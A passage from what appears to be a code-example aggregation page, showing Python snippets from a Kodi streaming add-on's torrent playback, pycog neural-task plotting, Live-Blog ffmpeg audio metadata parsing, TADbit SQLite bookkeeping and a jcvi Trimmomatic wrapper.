        xbmc.executebuiltin("XBMC.RunPlugin(%s?%s)" % ( sys.argv[ 0 ] , item.clone(channel="trailertools", action="buscartrailer", contextual=True).tourl()))
        return

    # Si no hay mediaurl es porque el vídeo no está :)
    logger.info("streamondemand.platformcode.xbmctools mediaurl="+mediaurl)
    if mediaurl=="":
        if server == "unknown":
            alertUnsopportedServer()
        else:
            alertnodisponibleserver(item.server)
        return

    # Si hay un tiempo de espera (como en megaupload), lo impone ahora
    if wait_time>0:
        continuar = handle_wait(wait_time,server,"Cargando vídeo...")
        if not continuar:
            return

    # Obtención datos de la Biblioteca (solo strms que estén en la biblioteca)
    if strmfile:
        xlistitem = getLibraryInfo(mediaurl)
    else:
        play_title = item.fulltitle
        play_thumbnail = item.thumbnail
        play_plot = item.plot

        if item.hasContentDetails=="true":
            play_title = item.contentTitle
            play_thumbnail = item.contentThumbnail
            play_plot = item.contentPlot

        try:
            xlistitem = xbmcgui.ListItem( play_title, iconImage="DefaultVideo.png", thumbnailImage=play_thumbnail, path=mediaurl)
        except:
            xlistitem = xbmcgui.ListItem( play_title, iconImage="DefaultVideo.png", thumbnailImage=play_thumbnail)

        xlistitem.setInfo( "video", { "Title": play_title, "Plot" : play_plot , "Studio" : item.channel , "Genre" : item.category } )

        #set_infoLabels(listitem,plot) # Modificacion introducida por super_berny para añadir infoLabels al ListItem

    # Lanza el reproductor
        # Lanza el reproductor

    if strmfile and not item.from_biblioteca: #Si es un fichero strm no hace falta el play
        xbmcplugin.setResolvedUrl(int(sys.argv[1]), True, xlistitem)
        if item.subtitle != "":
            xbmc.sleep(2000)
            xbmc.Player().setSubtitles(item.subtitle)

    #Movido del conector "torrent" aqui
    elif item.server=="torrent":

        #Opciones disponibles para Reproducir torrents
        torrent_options = []
        torrent_options.append(["Client  (necessario libtorrent)"])
        torrent_options.append(["Client interno MCT (necessario libtorrent)"])

        #Plugins externos se pueden añadir otros
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.xbmctorrent")'):
            torrent_options.append(["Plugin esterno: xbmctorrent","plugin://plugin.video.xbmctorrent/play/%s"])
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.pulsar")'):
            torrent_options.append(["Plugin esterno: pulsar","plugin://plugin.video.pulsar/play?uri=%s"])
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.quasar")'):
            torrent_options.append(["Plugin esterno: quasar","plugin://plugin.video.quasar/play?uri=%s"])
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.stream")'):
            torrent_options.append(["Plugin esterno: stream","plugin://plugin.video.stream/play/%s"])
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.torrenter")'):
            torrent_options.append(["Plugin esterno: torrenter","plugin://plugin.video.torrenter/?action=playSTRM&url=%s"])
        if xbmc.getCondVisibility('System.HasAddon("plugin.video.torrentin")'):
            torrent_options.append(["Plugin esterno: torrentin","plugin://plugin.video.torrentin/?uri=%s&image="])


        if len(torrent_options)>1:
            seleccion = xbmcgui.Dialog().select("Aprire torrent con...", [opcion[0] for opcion in torrent_options])
        else:
            seleccion = 0

        #Plugins externos
        if seleccion > 1:
            mediaurl = urllib.quote_plus(item.url)
            xbmc.executebuiltin( "PlayMedia(" + torrent_options[seleccion][1] % mediaurl +")" )

        if seleccion ==1:
            from platformcode import mct
            mct.play( mediaurl, xbmcgui.ListItem("", iconImage=item.thumbnail, thumbnailImage=item.thumbnail), subtitle=item.subtitle )

        #Reproductor propio (libtorrent)
        if seleccion == 0:
            import time
            videourl = None
            played = False
  
            #Importamos el cliente
            from btserver import Client
  
            #Iniciamos el cliente:
            c = Client(url=mediaurl, is_playing_fnc= xbmc.Player().isPlaying, wait_time=None, timeout=5, temp_path =os.path.join(config.get_data_path(),"torrent") )
  
            #Mostramos el progreso
            progreso = xbmcgui.DialogProgress()
            progreso.create( "streamondemand - Torrent" , "Avviando...")
  
  
            #Mientras el progreso no sea cancelado ni el cliente cerrado
            while not progreso.iscanceled() and not c.closed:
  
                try:
                    #Obtenemos el estado del torrent
                    s = c.status
      
                    #Montamos las tres lineas con la info del torrent
                    txt = '%.2f%% de %.1fMB %s | %.1f kB/s' % \
                    (s.progress_file, s.file_size, s.str_state, s._download_rate)
                    txt2 =  'S: %d(%d) P: %d(%d) | DHT:%s (%d) | Trakers: %d' % \
                    (s.num_seeds, s.num_complete, s.num_peers, s.num_incomplete, s.dht_state, s.dht_nodes, s.trackers)
                    txt3 = 'Origen Peers TRK: %d DHT: %d PEX: %d LSD %d ' % \
                    (s.trk_peers,s.dht_peers, s.pex_peers, s.lsd_peers)
      
                    progreso.update(s.buffer,txt, txt2, txt3)
      
      
                    time.sleep(1)
      
                    #Si el buffer se ha llenado y la reproduccion no ha sido iniciada, se inicia
                    if s.buffer == 100 and not played:
      
                        #Cerramos el progreso
                        progreso.close()
        
                        #Obtenemos el playlist del torrent
                        videourl = c.get_play_list()
        
                        #Iniciamos el reproductor
                        playlist = xbmc.PlayList( xbmc.PLAYLIST_VIDEO )
                        playlist.clear()
                        playlist.add( videourl, xlistitem )
                        xbmcPlayer = xbmc.Player()
                        xbmcPlayer.play(playlist)
        
                        #Marcamos como reproducido para que no se vuelva a iniciar
                        played = True
        
                        #Y esperamos a que el reproductor se cierre
                        while xbmc.Player().isPlaying():
                          time.sleep(1)
        
                        #Cuando este cerrado,  Volvemos a mostrar el dialogo
                        progreso.create( "streamondemand - Torrent" , "Avviando...")
      
                except:
                    import traceback
                    logger.info(traceback.format_exc())
                    break

            progreso.update(100,"Terminato, elimina dati"," "," ")

            #Detenemos el cliente
            if not c.closed:
                c.stop()

            #Y cerramos el progreso
            progreso.close()

            return

    else:
        logger.info("player_mode="+config.get_setting("player_mode"))
        logger.info("mediaurl="+mediaurl)
        if config.get_setting("player_mode")=="3" or "megacrypter.com" in mediaurl:
            import download_and_play
            download_and_play.download_and_play( mediaurl , "download_and_play.tmp" , config.get_setting("downloadpath") )
            return

        elif config.get_setting("player_mode")=="0" or (config.get_setting("player_mode")=="3" and mediaurl.startswith("rtmp")):
            # Añadimos el listitem a una lista de reproducción (playlist)
            playlist = xbmc.PlayList( xbmc.PLAYLIST_VIDEO )
            playlist.clear()
            playlist.add( mediaurl, xlistitem )

            # Reproduce
            playersettings = config.get_setting('player_type')
            logger.info("streamondemand.platformcode.xbmctools playersettings="+playersettings)

            if config.get_system_platform()=="xbox":
                player_type = xbmc.PLAYER_CORE_AUTO
                if playersettings == "0":
                    player_type = xbmc.PLAYER_CORE_AUTO
                    logger.info("streamondemand.platformcode.xbmctools PLAYER_CORE_AUTO")
                elif playersettings == "1":
                    player_type = xbmc.PLAYER_CORE_MPLAYER
                    logger.info("streamondemand.platformcode.xbmctools PLAYER_CORE_MPLAYER")
                elif playersettings == "2":
                    player_type = xbmc.PLAYER_CORE_DVDPLAYER
                    logger.info("streamondemand.platformcode.xbmctools PLAYER_CORE_DVDPLAYER")

                xbmcPlayer = xbmc.Player( player_type )
            else:
                xbmcPlayer = xbmc.Player()

            xbmcPlayer.play(playlist)

            if item.channel=="cuevana" and item.subtitle!="":
                logger.info("subtitulo="+subtitle)
                if item.subtitle!="" and (opciones[seleccion].startswith("Ver") or opciones[seleccion].startswith("Watch")):
                    logger.info("streamondemand.platformcode.xbmctools Con subtitulos")
                    setSubtitles()

        elif config.get_setting("player_mode")=="1":
            logger.info("mediaurl :"+ mediaurl)
            logger.info("Tras setResolvedUrl")
            xbmcplugin.setResolvedUrl(int(sys.argv[1]), True, xbmcgui.ListItem(path=mediaurl))

        elif config.get_setting("player_mode")=="2":
            xbmc.executebuiltin( "PlayMedia("+mediaurl+")" )

    if item.subtitle!="" and view:
        logger.info("Subtítulos externos: "+item.subtitle)
        xbmc.Player().setSubtitles(item.subtitle)

Example 106

Project: pycog
Source File: mante.py
View license
def do(action, args, p):
    print("ACTION*:   " + str(action))
    print("ARGS*:     " + str(args))

    #-------------------------------------------------------------------------------------
    # Trials
    #-------------------------------------------------------------------------------------

    if action == 'trials':
        run_trials(p, args)

    #-------------------------------------------------------------------------------------
    # Psychometric function
    #-------------------------------------------------------------------------------------

    elif action == 'psychometric':
        #---------------------------------------------------------------------------------
        # Figure setup
        #---------------------------------------------------------------------------------

        w   = 6.5
        h   = 3
        fig = Figure(w=w, h=h, axislabelsize=7.5, labelpadx=6, labelpady=7.5,
                     thickness=0.6, ticksize=3, ticklabelsize=6.5, ticklabelpad=2)

        w = 0.39
        h = 0.7

        L = 0.09
        R = L + w + 0.1
        y = 0.2

        plots = {'m': fig.add([L, y, w, h]),
                 'c': fig.add([R, y, w, h])}

        #---------------------------------------------------------------------------------
        # Labels
        #---------------------------------------------------------------------------------

        plot = plots['m']
        plot.xlabel('Motion coherence (\%)')
        plot.ylabel('Choice to right (\%)')

        plot = plots['c']
        plot.xlabel('Color coherence (\%)')
        plot.ylabel('Choice to green (\%)')

        #---------------------------------------------------------------------------------
        # Plot
        #---------------------------------------------------------------------------------

        trialsfile = get_trialsfile(p)
        psychometric_function(trialsfile, plots)

        # Legend
        prop = {'prop': {'size': 7}, 'handlelength': 1.2,
                'handletextpad': 1.1, 'labelspacing': 0.5}
        plots['m'].legend(bbox_to_anchor=(0.41, 1), **prop)

        #---------------------------------------------------------------------------------

        fig.save(path=p['figspath'], name=p['name']+'_'+action)
        fig.close()

    #-------------------------------------------------------------------------------------
    # Sort
    #-------------------------------------------------------------------------------------

    elif action == 'sort':
        trialsfile = get_trialsfile(p)
        sortedfile = get_sortedfile(p)
        sort_trials(trialsfile, sortedfile)

    #-------------------------------------------------------------------------------------
    # Plot single-unit activity
    #-------------------------------------------------------------------------------------

    elif action == 'units':
        from glob import glob

        # Remove existing files
        print("[ {}.do ]".format(THIS))
        filenames = glob('{}_unit*'.format(join(p['figspath'], p['name'])))
        for filename in filenames:
            os.remove(filename)
            print("  Removed {}".format(filename))

        trialsfile = get_trialsfile(p)
        sortedfile = get_sortedfile(p)

        units = get_active_units(trialsfile)
        for unit in units:
            #-----------------------------------------------------------------------------
            # Figure setup
            #-----------------------------------------------------------------------------

            w   = 2.5
            h   = 6
            fig = Figure(w=w, h=h, axislabelsize=7.5, labelpadx=6, labelpady=7.5,
                         thickness=0.6, ticksize=3, ticklabelsize=6.5, ticklabelpad=2)

            w  = 0.55
            x0 = 0.3

            h  = 0.17
            dy = h + 0.06
            y0 = 0.77
            y1 = y0 - dy
            y2 = y1 - dy
            y3 = y2 - dy

            plots = {
                'choice':         fig.add([x0, y0, w, h]),
                'motion_choice':  fig.add([x0, y1, w, h]),
                'colour_choice':  fig.add([x0, y2, w, h]),
                'context_choice': fig.add([x0, y3, w, h])
                }

            #-----------------------------------------------------------------------------
            # Plot
            #-----------------------------------------------------------------------------

            plot_unit(unit, sortedfile, plots, sortby_fontsize=7)
            plots['context_choice'].xlabel('Time (ms)')

            #-----------------------------------------------------------------------------

            fig.save(path=p['figspath'], name=p['name']+'_unit{:03d}'.format(unit))
            fig.close()
        print("[ {}.do ] {} units processed.".format(THIS, len(units)))

    #-------------------------------------------------------------------------------------
    # Regress
    #-------------------------------------------------------------------------------------

    elif action == 'regress':
        trialsfile = get_trialsfile(p)
        sortedfile = get_sortedfile(p)
        betafile   = get_betafile(p)
        regress(trialsfile, sortedfile, betafile)

    #-------------------------------------------------------------------------------------

    else:
        print("[ {}.do ] Unrecognized action.".format(THIS))

Example 107

Project: pycog
Source File: rdm.py
View license
def do(action, args, p):
    """
    Manage tasks.

    """
    print("ACTION*:   " + str(action))
    print("ARGS*:     " + str(args))

    #-------------------------------------------------------------------------------------
    # Trials
    #-------------------------------------------------------------------------------------

    if action == 'trials':
        run_trials(p, args)

    #-------------------------------------------------------------------------------------
    # Psychometric function
    #-------------------------------------------------------------------------------------

    elif action == 'psychometric':
        threshold = False
        if 'threshold' in args:
            threshold = True

        fig  = Figure()
        plot = fig.add()

        #---------------------------------------------------------------------------------
        # Plot
        #---------------------------------------------------------------------------------

        trialsfile = get_trialsfile(p)
        psychometric_function(trialsfile, plot, threshold=threshold)

        plot.xlabel(r'Percent coherence toward $T_\text{in}$')
        plot.ylabel(r'Percent $T_\text{in}$')

        #---------------------------------------------------------------------------------

        fig.save(path=p['figspath'], name=p['name']+'_'+action)
        fig.close()

    #-------------------------------------------------------------------------------------
    # Sort
    #-------------------------------------------------------------------------------------

    elif action == 'sort_stim_onset':
        sort_trials_stim_onset(get_trialsfile(p), get_sortedfile_stim_onset(p))

    elif action == 'sort_response':
        sort_trials_response(get_trialsfile(p), get_sortedfile_response(p))

    #-------------------------------------------------------------------------------------
    # Plot single-unit activity aligned to stimulus onset
    #-------------------------------------------------------------------------------------

    elif action == 'units_stim_onset':
        from glob import glob

        # Remove existing files
        filenames = glob(join(p['figspath'], p['name'] + '_stim_onset_unit*'))
        for filename in filenames:
            os.remove(filename)
            print("Removed {}".format(filename))

        # Load sorted trials
        sortedfile = get_sortedfile_stim_onset(p)
        with open(sortedfile) as f:
            t, sorted_trials = pickle.load(f)

        for i in xrange(p['model'].N):
            # Check if the unit does anything
            active = False
            for r in sorted_trials.values():
                if is_active(r[i]):
                    active = True
                    break
            if not active:
                continue

            fig  = Figure()
            plot = fig.add()

            #-----------------------------------------------------------------------------
            # Plot
            #-----------------------------------------------------------------------------

            plot_unit(i, sortedfile, plot)

            plot.xlabel('Time (ms)')
            plot.ylabel('Firing rate (a.u.)')

            props = {'prop': {'size': 8}, 'handletextpad': 1.02, 'labelspacing': 0.6}
            plot.legend(bbox_to_anchor=(0.18, 1), **props)

            #-----------------------------------------------------------------------------

            fig.save(path=p['figspath'],
                     name=p['name']+'_stim_onset_unit{:03d}'.format(i))
            fig.close()

    #-------------------------------------------------------------------------------------
    # Plot single-unit activity aligned to response
    #-------------------------------------------------------------------------------------

    elif action == 'units_response':
        from glob import glob

        # Remove existing files
        filenames = glob(join(p['figspath'], p['name'] + '_response_unit*'))
        for filename in filenames:
            os.remove(filename)
            print("Removed {}".format(filename))

        # Load sorted trials
        sortedfile = get_sortedfile_response(p)
        with open(sortedfile) as f:
            t, sorted_trials = pickle.load(f)

        for i in xrange(p['model'].N):
            # Check if the unit does anything
            active = False
            for r in sorted_trials.values():
                if is_active(r[i]):
                    active = True
                    break
            if not active:
                continue

            fig  = Figure()
            plot = fig.add()

            #-----------------------------------------------------------------------------
            # Plot
            #-----------------------------------------------------------------------------

            plot_unit(i, sortedfile, plot)

            plot.xlabel('Time (ms)')
            plot.ylabel('Firing rate (a.u.)')

            props = {'prop': {'size': 8}, 'handletextpad': 1.02, 'labelspacing': 0.6}
            plot.legend(bbox_to_anchor=(0.18, 1), **props)

            #-----------------------------------------------------------------------------

            fig.save(path=p['figspath'],
                     name=p['name']+'_response_unit_{:03d}'.format(i))
            fig.close()

    #-------------------------------------------------------------------------------------
    # Selectivity
    #-------------------------------------------------------------------------------------

    elif action == 'selectivity':
        # Model
        m = p['model']

        trialsfile = get_trialsfile(p)
        dprime     = get_choice_selectivity(trialsfile)

        def get_first(x, p):
            return x[:int(p*len(x))]

        psig  = 0.25
        units = np.arange(len(dprime))
        try:
            idx = np.argsort(abs(dprime[m.EXC]))[::-1]
            exc = get_first(units[m.EXC][idx], psig)

            idx = np.argsort(abs(dprime[m.INH]))[::-1]
            inh = get_first(units[m.INH][idx], psig)

            idx = np.argsort(dprime[exc])[::-1]
            units_exc = list(exc[idx])

            idx = np.argsort(dprime[inh])[::-1]
            units_inh = list(units[inh][idx])

            units  = units_exc + units_inh
            dprime = dprime[units]
        except AttributeError:
            idx = np.argsort(abs(dprime))[::-1]
            all = get_first(units[idx], psig)

            idx    = np.argsort(dprime[all])[::-1]
            units  = list(units[all][idx])
            dprime = dprime[units]

        # Save d'
        filename = get_dprimefile(p)
        np.savetxt(filename, dprime)
        print("[ {}.do ] d\' saved to {}".format(THIS, filename))

        # Save selectivity
        filename = get_selectivityfile(p)
        np.savetxt(filename, units, fmt='%d')
        print("[ {}.do ] Choice selectivity saved to {}".format(THIS, filename))

    #-------------------------------------------------------------------------------------

    else:
        print("[ {}.do ] Unrecognized action.".format(THIS))

Example 108

Project: Live-Blog
Source File: audio_persist.py
View license
    def process(self, metaDataMapped, contentPath):
        '''
        @see: IMetaDataHandler.process
        '''
        assert isinstance(metaDataMapped, MetaDataMapped), 'Invalid meta data mapped %s' % metaDataMapped

        # extract metadata operation to a file in order to have an output parameter for ffmpeg; if no output parameter -> get error code 1
        # the generated metadata file will be deleted
        tmpFile = self.ffmpeg_tmp_path + str(metaDataMapped.Id)
        
        if exists(tmpFile): remove(tmpFile)       
        p = Popen((self.ffmpeg_path, '-i', contentPath, '-f', 'ffmetadata', tmpFile), stdin=PIPE, stdout=PIPE, stderr=STDOUT)
        result = p.wait() 
        if exists(tmpFile): remove(tmpFile)  
        if result != 0: return False

        audioDataEntry = AudioDataEntry()
        audioDataEntry.Id = metaDataMapped.Id
        metadata = False
        
        while True:
            line = p.stdout.readline()
            if not line: break
            line = str(line, 'utf-8')  
            if line.find('misdetection possible!') != -1: return False
            
            if metadata:
                property = self.extractProperty(line)
                
                if property == None:
                    metadata = False
                else:
                    try:
                        if property == 'title':
                            audioDataEntry.Title = self.extractString(line)
                        elif property == 'artist':
                            audioDataEntry.Artist = self.extractString(line)
                        elif property == 'track':
                            audioDataEntry.Track = self.extractNumber(line)
                        elif property == 'album':
                            audioDataEntry.Album = self.extractString(line)
                        elif property == 'genre':
                            audioDataEntry.Genre = self.extractString(line)
                        elif property == 'TCMP':
                            audioDataEntry.Tcmp = self.extractNumber(line)
                        elif property == 'album_artist':
                            audioDataEntry.AlbumArtist = self.extractString(line)
                        elif property == 'date':
                            audioDataEntry.Year = self.extractNumber(line)
                        elif property == 'disc':
                            audioDataEntry.Disk = self.extractNumber(line)
                        elif property == 'TBPM':
                            audioDataEntry.Tbpm = self.extractNumber(line)
                        elif property == 'composer':
                            audioDataEntry.Composer = self.extractString(line)
                        elif property == 'Duration':
                            # Metadata section is finished 
                            metadata = False
                    except:
                        #skip if not able to extract data
                        pass
                                
                if metadata: continue        
            elif line.find('Metadata') != -1: 
                metadata = True 
                continue 
            
            if line.find('Stream') != -1 and line.find('Audio') != -1:
                try:
                    values = self.extractAudio(line)
                    audioDataEntry.AudioEncoding = values[0]
                    audioDataEntry.SampleRate = values[1]
                    audioDataEntry.Channels = values[2]
                    audioDataEntry.AudioBitrate = values[3]
                except: pass
            elif line.find('Duration') != -1 and line.find('start') != -1:
                try: 
                    values = self.extractDuration(line)
                    audioDataEntry.Length = values[0]
                    audioDataEntry.AudioBitrate = values[1]
                except: pass
            elif line.find('Output #0') != -1:
                break    

        path = self.format_file_name % {'id': metaDataMapped.Id, 'file': metaDataMapped.Name}
        path = ''.join((META_TYPE_KEY, '/', self.generateIdPath(metaDataMapped.Id), '/', path))

        metaDataMapped.content = path
        metaDataMapped.Type = META_TYPE_KEY
        metaDataMapped.typeId = self.metaTypeId()
        metaDataMapped.thumbnailFormatId = self.defaultThumbnailFormatId()
        metaDataMapped.IsAvailable = True

        try:
            self.session().add(audioDataEntry)
            self.session().flush((audioDataEntry,))
        except SQLAlchemyError as e:
            metaDataMapped.IsAvailable = False
            handle(e, AudioDataEntry)

        return True

Example 109

Project: pycog
Source File: romo.py
View license
def do(action, args, p):
    """
    Manage tasks.

    """
    print("ACTION*:   " + str(action))
    print("ARGS*:     " + str(args))

    #-------------------------------------------------------------------------------------
    # Trials
    #-------------------------------------------------------------------------------------

    if action == 'trials':
        run_trials(p, args)

    #-------------------------------------------------------------------------------------
    # Psychometric function
    #-------------------------------------------------------------------------------------

    elif action == 'psychometric':
        fig  = Figure()
        plot = fig.add()

        #---------------------------------------------------------------------------------
        # Plot
        #---------------------------------------------------------------------------------

        trialsfile = get_trialsfile(p)
        psychometric_function(trialsfile, plot)

        plot.xlabel('$f_1$ (Hz)')
        plot.ylabel('$f_2$ (Hz)')

        #---------------------------------------------------------------------------------

        fig.save(path=p['figspath'], name=p['name']+'_'+action)
        fig.close()

    #-------------------------------------------------------------------------------------
    # Sort
    #-------------------------------------------------------------------------------------

    elif action == 'sort':
        sort_trials(get_trialsfile(p), get_sortedfile(p))

    #-------------------------------------------------------------------------------------
    # Plot single-unit activity aligned to stimulus onset
    #-------------------------------------------------------------------------------------

    elif action == 'units':
        from glob import glob

        # Remove existing files
        print("[ {}.do ]".format(THIS))
        filenames = glob('{}_unit*'.format(join(p['figspath'], p['name'])))
        for filename in filenames:
            os.remove(filename)
            print("  Removed {}".format(filename))

        # Load sorted trials
        sortedfile = get_sortedfile(p)
        with open(sortedfile) as f:
            t, sorted_trials = pickle.load(f)

        # Colormap
        cmap = mpl.cm.jet
        norm = mpl.colors.Normalize(vmin=p['model'].fmin, vmax=p['model'].fmax)
        smap = mpl.cm.ScalarMappable(norm, cmap)

        for i in xrange(p['model'].N):
            # Check if the unit does anything
            active = False
            for condition_averaged in sorted_trials.values():
                if is_active(condition_averaged[i]):
                    active = True
                    break
            if not active:
                continue

            fig  = Figure()
            plot = fig.add()

            #-----------------------------------------------------------------------------
            # Plot
            #-----------------------------------------------------------------------------

            plot_unit(i, sortedfile, plot, smap)

            plot.xlabel('Time (ms)')
            plot.ylabel('Firing rate (a.u.)')

            props = {'prop': {'size': 8}, 'handletextpad': 1.02, 'labelspacing': 0.6}
            plot.legend(bbox_to_anchor=(0.18, 1), **props)

            #-----------------------------------------------------------------------------

            fig.save(path=p['figspath'], name=p['name']+'_unit{:03d}'.format(i))
            fig.close()

    #-------------------------------------------------------------------------------------

    else:
        print("[ {}.do ] Unrecognized action '{}'.".format(THIS, action))

Example 110

Project: TADbit
Source File: tadbit_filter.py
View license
def save_to_db(opts, count, multiples, reads, mreads, n_valid_pairs, masked,
               hist_path, median, max_f, mad, launch_time, finish_time):
    if 'tmpdb' in opts and opts.tmpdb:
        # check lock
        while path.exists(path.join(opts.workdir, '__lock_db')):
            time.sleep(0.5)
        # close lock
        open(path.join(opts.workdir, '__lock_db'), 'a').close()
        # tmp file
        dbfile = opts.tmpdb
        try: # to copy in case read1 was already mapped for example
            copyfile(path.join(opts.workdir, 'trace.db'), dbfile)
        except IOError:
            pass
    else:
        dbfile = path.join(opts.workdir, 'trace.db')
    con = lite.connect(dbfile)
    with con:
        cur = con.cursor()
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='INTERSECTION_OUTPUTs'""")
        if not cur.fetchall():
            cur.execute("""
        create table INTERSECTION_OUTPUTs
           (Id integer primary key,
            PATHid int,
            Total_interactions int,
            Multiple_interactions text,
            Median_fragment_length,
            MAD_fragment_length,
            Max_fragment_length,
            unique (PATHid))""")
            cur.execute("""
        create table FILTER_OUTPUTs
           (Id integer primary key,
            PATHid int,
            Name text,
            Count int,
            JOBid int,
            unique (PATHid))""")
        try:
            parameters = digest_parameters(opts, get_md5=False)
            param_hash = digest_parameters(opts, get_md5=True )            
            cur.execute("""
    insert into JOBs
     (Id  , Parameters, Launch_time, Finish_time,    Type, Parameters_md5)
    values
     (NULL,       '%s',        '%s',        '%s', 'Filter',           '%s')
     """ % (parameters,
            time.strftime("%d/%m/%Y %H:%M:%S", launch_time),
            time.strftime("%d/%m/%Y %H:%M:%S", finish_time), param_hash))
        except lite.IntegrityError:
            pass

        jobid = get_jobid(cur)
        
        add_path(cur, mreads, '2D_BED', jobid, opts.workdir)
        add_path(cur,  reads, '2D_BED', jobid, opts.workdir)
        add_path(cur, hist_path, 'FIGURE', jobid, opts.workdir)
        try:
            cur.execute("""
            insert into INTERSECTION_OUTPUTs
            (Id  , PATHid, Total_interactions, Multiple_interactions, Median_fragment_length, MAD_fragment_length, Max_fragment_length)
            values
            (NULL,    %d,                  %d,                  '%s',                     %d,                  %d,                  %d)
            """ % (get_path_id(cur, mreads, opts.workdir),
                   count, ' '.join(['%s:%d' % (k, multiples[k])
                                    for k in sorted(multiples)]),
                   median, mad, max_f))
        except lite.IntegrityError:
            print 'WARNING: already filtered'
            if opts.force:
                cur.execute(
                    'delete from INTERSECTION_OUTPUTs where PATHid = %d' % (
                        get_path_id(cur, mreads, opts.workdir)))
                cur.execute("""
                insert into INTERSECTION_OUTPUTs
                (Id  , PATHid, Total_interactions, Multiple_interactions, Median_fragment_length, MAD_fragment_length, Max_fragment_length)
                values
                (NULL,    %d,                  %d,                  '%s',                     %d,                  %d,                  %d)
                """ % (get_path_id(cur, mreads, opts.workdir),
                       count, ' '.join(['%s:%d' % (k, multiples[k])
                                        for k in sorted(multiples)]),
                       median, mad, max_f))
        for f in masked:
            add_path(cur, masked[f]['fnam'], 'FILTER', jobid, opts.workdir)
            try:
                cur.execute("""
            insert into FILTER_OUTPUTs
            (Id  , PATHid, Name, Count, JOBid)
            values
            (NULL,    %d,     '%s',      '%s', %d)
                """ % (get_path_id(cur, masked[f]['fnam'], opts.workdir),
                       masked[f]['name'], masked[f]['reads'], jobid))
            except lite.IntegrityError:
                print 'WARNING: already filtered'
                if opts.force:
                    cur.execute(
                        'delete from FILTER_OUTPUTs where PATHid = %d' % (
                            get_path_id(cur, masked[f]['fnam'], opts.workdir)))
                    cur.execute("""
                insert into FILTER_OUTPUTs
                (Id  , PATHid, Name, Count, JOBid)
                values
                (NULL,    %d,     '%s',      '%s', %d)
                    """ % (get_path_id(cur, masked[f]['fnam'], opts.workdir),
                           masked[f]['name'], masked[f]['reads'], jobid))
        try:
            cur.execute("""
        insert into FILTER_OUTPUTs
        (Id  , PATHid, Name, Count, JOBid)
        values
        (NULL,    %d,     '%s',      '%s', %d)
            """ % (get_path_id(cur, mreads, opts.workdir),
                   'valid-pairs', n_valid_pairs, jobid))
        except lite.IntegrityError:
            print 'WARNING: already filtered'
            if opts.force:
                cur.execute(
                    'delete from FILTER_OUTPUTs where PATHid = %d' % (
                        get_path_id(cur, mreads, opts.workdir)))
                cur.execute("""
                insert into FILTER_OUTPUTs
                (Id  , PATHid, Name, Count, JOBid)
                values
                (NULL,    %d,     '%s',      '%s', %d)
                """ % (get_path_id(cur, mreads, opts.workdir),
                       'valid-pairs', n_valid_pairs, jobid))
        print_db(cur, 'MAPPED_INPUTs')
        print_db(cur, 'PATHs')
        print_db(cur, 'MAPPED_OUTPUTs')
        print_db(cur, 'PARSED_OUTPUTs')
        print_db(cur, 'JOBs')
        print_db(cur, 'INTERSECTION_OUTPUTs')        
        print_db(cur, 'FILTER_OUTPUTs')
    if 'tmpdb' in opts and opts.tmpdb:
        # copy back file
        copyfile(dbfile, path.join(opts.workdir, 'trace.db'))
        remove(dbfile)
    # release lock
    try:
        remove(path.join(opts.workdir, '__lock_db'))
    except OSError:
        pass

Example 111

Project: jcvi
Source File: preprocess.py
View license
def trim(args):
    """
    %prog trim fastqfiles

    Trim reads using TRIMMOMATIC. If two fastqfiles are given, then it invokes
    the paired reads mode. See manual:

    <http://www.usadellab.org/cms/index.php?page=trimmomatic>
    """
    tv = "0.32"
    TrimJar = "trimmomatic-{0}.jar".format(tv)
    p = OptionParser(trim.__doc__)
    p.add_option("--path", default=op.join("~/bin", TrimJar),
            help="Path to trimmomatic jar file [default: %default]")
    p.set_phred()
    p.add_option("--nofrags", default=False, action="store_true",
            help="Discard frags file in PE mode [default: %default]")
    p.add_option("--minqv", default=15, type="int",
            help="Average qv after trimming [default: %default]")
    p.add_option("--minlen", default=36, type="int",
            help="Minimum length after trimming [default: %default]")
    p.add_option("--adapteronly", default=False, action="store_true",
            help="Only trim adapters with no qv trimming [default: %default]")
    p.add_option("--nogz", default=False, action="store_true",
            help="Do not write to gzipped files [default: %default]")
    p.add_option("--log", default=None, dest="trimlog",
            help="Specify a `trimlog` file [default: %default]")
    p.set_cpus(cpus=4)
    opts, args = p.parse_args(args)

    if len(args) not in (1, 2):
        sys.exit(not p.print_help())

    path = op.expanduser(opts.path)
    url = \
    "http://www.usadellab.org/cms/uploads/supplementary/Trimmomatic/Trimmomatic-{0}.zip"\
    .format(tv)

    if not op.exists(path):
        path = download(url)
        TrimUnzipped = "Trimmomatic-" + tv
        if not op.exists(TrimUnzipped):
            sh("unzip " + path)
        os.remove(path)
        path = op.join(TrimUnzipped, TrimJar)

    assert op.exists(path), \
        "Couldn't find Trimmomatic jar file at `{0}`".\
        format(path)

    adaptersfile = "adapters.fasta"
    Adapters = must_open(op.join(datadir, adaptersfile)).read()
    write_file(adaptersfile, Adapters, skipcheck=True)

    assert op.exists(adaptersfile), \
        "Please place the illumina adapter sequence in `{0}`".\
        format(adaptersfile)

    if opts.phred is None:
        offset = guessoffset([args[0]])
    else:
        offset = int(opts.phred)

    phredflag = " -phred{0}".format(offset)
    threadsflag = " -threads {0}".format(opts.cpus)
    if opts.trimlog:
        trimlog = " -trimlog {0}".format(opts.trimlog)

    cmd = "java -Xmx4g -jar {0}".format(path)
    frags = ".frags.fastq"
    pairs = ".pairs.fastq"
    if not opts.nogz:
        frags += ".gz"
        pairs += ".gz"

    get_prefix = lambda x: op.basename(x).replace(".gz", "").rsplit(".", 1)[0]
    if len(args) == 1:
        cmd += " SE"
        cmd += phredflag
        cmd += threadsflag
        if opts.trimlog:
            cmd += trimlog
        fastqfile, = args
        prefix = get_prefix(fastqfile)
        frags1 = prefix + frags
        cmd += " {0}".format(" ".join((fastqfile, frags1)))
    else:
        cmd += " PE"
        cmd += phredflag
        cmd += threadsflag
        if opts.trimlog:
            cmd += trimlog
        fastqfile1, fastqfile2 = args
        prefix1 = get_prefix(fastqfile1)
        prefix2 = get_prefix(fastqfile2)
        pairs1 = prefix1 + pairs
        pairs2 = prefix2 + pairs
        frags1 = prefix1 + frags
        frags2 = prefix2 + frags
        if opts.nofrags:
            frags1 = "/dev/null"
            frags2 = "/dev/null"
        cmd += " {0}".format(" ".join((fastqfile1, fastqfile2, \
                pairs1, frags1, pairs2, frags2)))

